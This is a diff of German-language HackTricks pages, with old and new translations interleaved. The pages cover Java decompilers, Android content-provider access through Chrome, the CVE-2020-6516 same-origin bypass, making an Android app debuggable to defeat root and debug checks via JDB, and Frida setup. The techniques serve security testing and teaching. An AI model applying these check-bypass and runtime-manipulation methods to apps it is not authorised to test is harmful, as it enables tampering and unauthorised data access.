### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau** bietet eine detaillierte Kontrolle über die Dekompilierung, insbesondere für die Handhabung externer Bibliotheken.
**Krakatau** bietet detaillierte Kontrolle über die Dekompilierung, insbesondere beim Umgang mit externen Bibliotheken.
- Verwenden Sie Krakatau, indem Sie den Pfad zur Standardbibliothek und die zu dekompilierende JAR-Datei angeben: `./Krakatau/decompile.py -out "Ausgabeverzeichnis" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
- Verwenden Sie Krakatau, indem Sie den Pfad zur Standardbibliothek und die JAR-Datei angeben, die dekompiliert werden soll: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
Für eine einfache Dekompilierung mit **procyon**:
- Dekompilieren Sie eine JAR-Datei in ein angegebenes Verzeichnis: `procyon -jar "app.jar" -o "Ausgabeverzeichnis"`
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
- Dekompilieren Sie eine JAR-Datei in ein angegebenes Verzeichnis: `procyon -jar "app.jar" -o "output_directory"`

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -23,14 +24,14 @@ Um Dateien aufzulisten, die vom Media Store verwaltet werden, kann der folgende
```bash
$ content query --uri content://media/external/file
```
Für eine benutzerfreundlichere Ausgabe, die nur den Bezeichner und den Pfad jeder indexierten Datei anzeigt:
Für eine benutzerfreundlichere Ausgabe, die nur die Kennung und den Pfad jeder indizierten Datei anzeigt:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Content-Provider sind in ihrem eigenen privaten Namensraum isoliert. Der Zugriff auf einen Provider erfordert die spezifische `content://` URI. Informationen über die Pfade zum Zugriff auf einen Provider können aus den Anwendungsmanifesten oder dem Quellcode des Android-Frameworks abgerufen werden.
Content-Provider sind in ihrem eigenen privaten Namensraum isoliert. Der Zugriff auf einen Provider erfordert die spezifische `content://` URI. Informationen über die Pfade zum Zugriff auf einen Provider können aus Anwendungsmanifests oder dem Quellcode des Android-Frameworks gewonnen werden.
### Zugriff von Chrome auf Content-Provider
Chrome auf Android kann über das `content://`-Schema auf Content-Provider zugreifen und somit Ressourcen wie Fotos oder von Drittanbieteranwendungen exportierte Dokumente abrufen. Zur Veranschaulichung kann eine Datei in den Media Store eingefügt und dann über Chrome abgerufen werden:
### Chomes Zugriff auf Content-Provider
Chrome auf Android kann über das `content://`-Schema auf Content-Provider zugreifen, was ihm ermöglicht, auf Ressourcen wie Fotos oder Dokumente zuzugreifen, die von Drittanbieteranwendungen exportiert wurden. Um dies zu veranschaulichen, kann eine Datei in den Media Store eingefügt und dann über Chrome darauf zugegriffen werden:
Fügen Sie einen benutzerdefinierten Eintrag in den Media Store ein:
```bash
@ -40,25 +41,25 @@ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
Ermitteln Sie die Kennung der neu eingefügten Datei:
Entdecken Sie die Kennung der neu eingefügten Datei:
```bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
Die Datei kann dann in Chrome mithilfe einer URL, die mit dem Datei-Identifier erstellt wurde, angezeigt werden.
Die Datei kann dann in Chrome mit einer URL angezeigt werden, die mit der Kennung der Datei erstellt wurde.
Zum Beispiel, um Dateien im Zusammenhang mit einer bestimmten Anwendung aufzulisten:
Zum Beispiel, um Dateien aufzulisten, die mit einer bestimmten Anwendung verbunden sind:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
Die _Same Origin Policy_ (SOP) ist ein Sicherheitsprotokoll in Browsern, das Webseiten daran hindert, mit Ressourcen aus verschiedenen Ursprüngen zu interagieren, es sei denn, dies wird explizit durch eine Cross-Origin-Resource-Sharing (CORS) Richtlinie erlaubt. Diese Richtlinie zielt darauf ab, Informationslecks und Cross-Site Request Forgery zu verhindern. Chrome betrachtet `content://` als lokemes Schema, was strengere SOP-Regeln impliziert, wobei jede URL mit lokalem Schema als separater Ursprung behandelt wird.
Die _Same Origin Policy_ (SOP) ist ein Sicherheitsprotokoll in Browsern, das Webseiten daran hindert, mit Ressourcen von verschiedenen Ursprüngen zu interagieren, es sei denn, dies wird ausdrücklich durch eine Cross-Origin-Resource-Sharing (CORS)-Richtlinie erlaubt. Diese Richtlinie zielt darauf ab, Informationslecks und Cross-Site-Request-Forgery zu verhindern. Chrome betrachtet `content://` als ein lokales Schema, was strengere SOP-Regeln impliziert, bei denen jede lokale Schema-URL als separater Ursprung behandelt wird.
Jedoch war CVE-2020-6516 eine Sicherheitslücke in Chrome, die es ermöglichte, die SOP-Regeln für Ressourcen, die über eine `content://`-URL geladen wurden, zu umgehen. Effektiv konnte JavaScript-Code von einer `content://`-URL auf andere Ressourcen zugreifen, die über `content://`-URLs geladen wurden, was ein erhebliches Sicherheitsrisiko darstellte, insbesondere auf Android-Geräten mit Versionen vor Android 10, wo das begrenzte Speichermodell nicht implementiert war.
CVE-2020-6516 war jedoch eine Schwachstelle in Chrome, die einen Umgehung der SOP-Regeln für Ressourcen ermöglichte, die über eine `content://`-URL geladen wurden. In der Folge konnte JavaScript-Code von einer `content://`-URL auf andere Ressourcen zugreifen, die über `content://`-URLs geladen wurden, was ein erhebliches Sicherheitsproblem darstellte, insbesondere auf Android-Geräten mit Versionen vor Android 10, bei denen kein Scoped Storage implementiert war.
Der untenstehende Proof-of-Concept demonstriert diese Sicherheitslücke, bei der ein HTML-Dokument, nachdem es unter **/sdcard** hochgeladen und der Medienspeicher hinzugefügt wurde, `XMLHttpRequest` in seinem JavaScript verwendet, um auf die Inhalte einer anderen Datei im Medienspeicher zuzugreifen und sie anzuzeigen, wodurch die SOP-Regeln umgangen werden.
Der nachfolgende Proof-of-Concept demonstriert diese Schwachstelle, bei der ein HTML-Dokument, nachdem es unter **/sdcard** hochgeladen und zum Media Store hinzugefügt wurde, `XMLHttpRequest` in seinem JavaScript verwendet, um auf den Inhalt einer anderen Datei im Media Store zuzugreifen und diesen anzuzeigen, wodurch die SOP-Regeln umgangen werden.
Proof-of-Concept HTML:
```xml
@ -93,16 +94,17 @@ xhr.send();
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,94 +1,108 @@
# Ausnutzen einer debuggbaren Anwendung
# Ausnutzen einer debuggebaren Anwendung
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# **Umgehen von Root- und Debugging-Überprüfungen**
Dieser Abschnitt des Beitrags ist eine Zusammenfassung des Beitrags [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
## Schritte zum Aktivieren des Debugging-Modus und Umgehen von Überprüfungen in einer Android-App
## Schritte, um eine Android-App debuggebar zu machen und Überprüfungen zu umgehen
### **Aktivieren des Debugging-Modus in der App**
### **Die App debuggebar machen**
Inhalt basierend auf https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
Inhalt basiert auf https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
1. **APK dekompilieren:**
- Verwenden Sie das APK-GUI-Tool zum Dekompilieren der APK.
- Fügen Sie in der _android-manifest_-Datei `android:debuggable=true` ein, um den Debugging-Modus zu aktivieren.
- Kompilieren Sie die modifizierte Anwendung erneut, signieren Sie sie und führen Sie den Zipalign-Vorgang durch.
- Fügen Sie in der _android-manifest_-Datei `android:debuggable=true` hinzu, um den Debugging-Modus zu aktivieren.
- Kompilieren Sie die modifizierte Anwendung neu, signieren Sie sie und zipalignen Sie sie.
2. **Installieren der modifizierten Anwendung:**
- Verwenden Sie den Befehl: `adb install <Anwendungsname>`.
2. **Die modifizierte Anwendung installieren:**
- Verwenden Sie den Befehl: `adb install <application_name>`.
3. **Abrufen des Paketnamens:**
3. **Den Paketnamen abrufen:**
- Führen Sie `adb shell pm list packages 3` aus, um Drittanbieteranwendungen aufzulisten und den Paketnamen zu finden.
4. **Die App auf Verbindung des Debuggers warten lassen:**
- Befehl: `adb shell am setup-debug-app w <Paketname>`.
- **Hinweis:** Dieser Befehl muss jedes Mal vor dem Starten der Anwendung ausgeführt werden, um sicherzustellen, dass sie auf den Debugger wartet.
- Verwenden Sie für die Persistenz `adb shell am setup-debug-app w -persistent <Paketname>`.
- Um alle Flags zu entfernen, verwenden Sie `adb shell am clear-debug-app <Paketname>`.
4. **Die App so einstellen, dass sie auf eine Debugger-Verbindung wartet:**
- Befehl: `adb shell am setup-debug-app w <package_name>`.
- **Hinweis:** Dieser Befehl muss jedes Mal ausgeführt werden, bevor die Anwendung gestartet wird, um sicherzustellen, dass sie auf den Debugger wartet.
- Für Persistenz verwenden Sie `adb shell am setup-debug-app w -persistent <package_name>`.
- Um alle Flags zu entfernen, verwenden Sie `adb shell am clear-debug-app <package_name>`.
5. **Vorbereitung für das Debugging in Android Studio:**
5. **Für das Debugging in Android Studio vorbereiten:**
- Navigieren Sie in Android Studio zu _Datei -> Profil oder APK öffnen_.
- Öffnen Sie die rekomplilierte APK.
- Öffnen Sie die neu kompilierte APK.
6. **Setzen von Breakpoints in wichtigen Java-Dateien:**
- Setzen Sie Breakpoints in `MainActivity.java` (insbesondere in der Methode `onCreate`), `b.java` und `ContextWrapper.java`.
6. **Breakpoints in wichtigen Java-Dateien setzen:**
- Setzen Sie Breakpoints in `MainActivity.java` (insbesondere in der `onCreate`-Methode), `b.java` und `ContextWrapper.java`.
### **Umgehen von Überprüfungen**
### **Überprüfungen umgehen**
Die Anwendung überprüft an bestimmten Stellen, ob sie debuggbar ist, und prüft auch auf Binärdateien, die auf ein gerootetes Gerät hinweisen. Der Debugger kann verwendet werden, um App-Informationen zu ändern, das Debuggable-Bit aufzuheben und die Namen der gesuchten Binärdateien zu ändern, um diese Überprüfungen zu umgehen.
Die Anwendung wird an bestimmten Punkten überprüfen, ob sie debuggebar ist, und auch nach Binärdateien suchen, die auf ein gerootetes Gerät hinweisen. Der Debugger kann verwendet werden, um Anwendungsinformationen zu ändern, das debuggebare Bit zurückzusetzen und die Namen der gesuchten Binärdateien zu ändern, um diese Überprüfungen zu umgehen.
Für die Debugging-Überprüfung:
Für die debuggebare Überprüfung:
1. **Ändern der Flag-Einstellungen:**
- Navigieren Sie in der Variablen-Sektion der Debugger-Konsole zu: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- **Hinweis:** Die binäre Darstellung von `flags = 814267974` ist `11000011100111011110`, was darauf hinweist, dass "Flag_debuggable" aktiv ist.
1. **Flag-Einstellungen ändern:**
- Navigieren Sie im Variablenbereich der Debugger-Konsole zu: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- **Hinweis:** Die binäre Darstellung von `flags = 814267974` ist `11000011100111011110`, was darauf hinweist, dass das "Flag_debuggable" aktiv ist.
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
Diese Schritte stellen sicher, dass die Anwendung debuggt werden kann und dass bestimmte Sicherheitsüberprüfungen mithilfe des Debuggers umgangen werden können, um eine detailliertere Analyse oder Modifikation des Verhaltens der Anwendung zu ermöglichen.
Diese Schritte stellen gemeinsam sicher, dass die Anwendung debugged werden kann und dass bestimmte Sicherheitsüberprüfungen mithilfe des Debuggers umgangen werden können, was eine eingehendere Analyse oder Modifikation des Verhaltens der Anwendung ermöglicht.
Schritt 2 beinhaltet das Ändern eines Flag-Werts auf 814267972, der binär als 110000101101000000100010100 dargestellt wird.
# **Ausnutzen einer Schwachstelle**
# **Eine Schwachstelle ausnutzen**
Es wurde eine Demonstration anhand einer verwundbaren Anwendung mit einem Button und einem Textview durchgeführt. Anfangs zeigt die Anwendung "Crack Me" an. Das Ziel besteht darin, die Nachricht zur Laufzeit von "Try Again" in "Hacked" zu ändern, ohne den Quellcode zu ändern.
Eine Demonstration wurde mit einer verwundbaren Anwendung bereitgestellt, die einen Button und ein Textfeld enthält. Zunächst zeigt die Anwendung "Crack Me" an. Ziel ist es, die Nachricht von "Try Again" zu "Hacked" zur Laufzeit zu ändern, ohne den Quellcode zu modifizieren.
## **Überprüfung auf Schwachstellen**
- Die Anwendung wurde mit `apktool` dekompiliert, um auf die Datei `AndroidManifest.xml` zuzugreifen.
- Das Vorhandensein von `android_debuggable="true"` in der AndroidManifest.xml zeigt an, dass die Anwendung debuggbar ist und anfällig für Ausnutzung ist.
- Es ist erwähnenswert, dass `apktool` ausschließlich verwendet wurde, um den Debugging-Status zu überprüfen, ohne Code zu ändern.
- Die Anwendung wurde mit `apktool` dekompiliert, um auf die `AndroidManifest.xml`-Datei zuzugreifen.
- Das Vorhandensein von `android_debuggable="true"` in der AndroidManifest.xml zeigt an, dass die Anwendung debuggebar und anfällig für Ausnutzung ist.
- Es ist erwähnenswert, dass `apktool` ausschließlich verwendet wird, um den debuggebaren Status zu überprüfen, ohne den Code zu ändern.
## **Vorbereitung der Einrichtung**
- Der Prozess umfasste das Starten eines Emulators, das Installieren der verwundbaren Anwendung und die Verwendung von `adb jdwp`, um die lauschenden Dalvik-VM-Ports zu identifizieren.
- Das JDWP (Java Debug Wire Protocol) ermöglicht das Debuggen einer in einer VM ausgeführten Anwendung, indem es einen eindeutigen Port freigibt.
- Für das Remote-Debugging war eine Portweiterleitung erforderlich, gefolgt von der Anbindung von JDB an die Zielanwendung.
## **Code zur Laufzeit einschleusen**
- Die Ausnutzung wurde durch das Setzen von Breakpoints und die Kontrolle des Anwendungsflusses durchgeführt.
- Befehle wie `classes` und `methods <Klassenname>` wurden verwendet, um die Struktur der Anwendung aufzudecken.
- Ein Breakpoint wurde in der Methode `onClick` gesetzt und dessen Ausführung wurde kontrolliert.
- Die Befehle `locals`, `next` und `set` wurden verwendet, um lokale Variablen zu inspizieren und zu ändern, insbesondere die Änderung der Nachricht von "Try Again" zu "Hacked".
- Der modifizierte Code wurde mit dem Befehl `run` ausgeführt und hat die Ausgabe der Anwendung in Echtzeit erfolgreich geändert.
Dieses Beispiel zeigt, wie das Verhalten einer debuggbaren Anwendung manipuliert werden kann und verdeutlicht das Potenzial für komplexere Exploits wie den Zugriff auf die Shell auf dem Gerät im Kontext der Anwendung.
## **Vorbereitung des Setups**
- Der Prozess umfasste das Starten eines Emulators, das Installieren der verwundbaren Anwendung und die Verwendung von `adb jdwp`, um die Dalvik-VM-Ports zu identifizieren, die lauschen.
- Das JDWP (Java Debug Wire Protocol) ermöglicht das Debuggen einer Anwendung, die in einer VM läuft, indem ein einzigartiger Port bereitgestellt wird.
- Portweiterleitung war notwendig für das Remote-Debugging, gefolgt von der Anbindung von JDB an die Zielanwendung.
## **Code zur Laufzeit injizieren**
- Die Ausnutzung wurde durch das Setzen von Breakpoints und das Steuern des Anwendungsflusses durchgeführt.
- Befehle wie `classes` und `methods <class_name>` wurden verwendet, um die Struktur der Anwendung aufzudecken.
- Ein Breakpoint wurde in der `onClick`-Methode gesetzt, und ihre Ausführung wurde kontrolliert.
- Die Befehle `locals`, `next` und `set` wurden verwendet, um lokale Variablen zu inspizieren und zu ändern, insbesondere um die Nachricht "Try Again" in "Hacked" zu ändern.
- Der modifizierte Code wurde mit dem Befehl `run` ausgeführt, wodurch die Ausgabe der Anwendung in Echtzeit erfolgreich geändert wurde.
Dieses Beispiel demonstrierte, wie das Verhalten einer debuggebaren Anwendung manipuliert werden kann, was das Potenzial für komplexere Ausnutzungen wie den Zugriff auf die Shell des Geräts im Kontext der Anwendung hervorhebt.
## Referenzen
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
* [https://resources.infosecinstitute
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Frida Tutorial
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Bug-Bounty-Tipp**: **Registrieren Sie sich** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde**! Treten Sie uns noch heute unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und verdienen Sie Prämien von bis zu **100.000 $**!
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Prämien von bis zu **$100.000** zu verdienen!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Installation
Installieren Sie die **Frida-Tools**:
Installieren Sie **frida tools**:
```bash
pip install frida-tools
pip install frida
```
**Herunterladen und installieren** Sie den **Frida-Server** auf dem Android-Gerät ([Laden Sie die neueste Version herunter](https://github.com/frida/frida/releases)).\
Einzeiler zum Neustarten von adb im Root-Modus, Verbindung herstellen, frida-server hochladen, Ausführungsberechtigungen erteilen und im Hintergrund ausführen:
**Laden Sie herunter und installieren Sie** auf dem Android das **frida server** ([Laden Sie die neueste Version herunter](https://github.com/frida/frida/releases)).\
Einzeiler, um adb im Root-Modus neu zu starten, sich damit zu verbinden, frida-server hochzuladen, Ausführungsberechtigungen zu erteilen und es im Hintergrund auszuführen:
{% code overflow="wrap" %}
```bash
@ -36,7 +37,7 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
```
{% endcode %}
**Überprüfen**, ob es **funktioniert**:
**Überprüfen** Sie, ob es **funktioniert**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
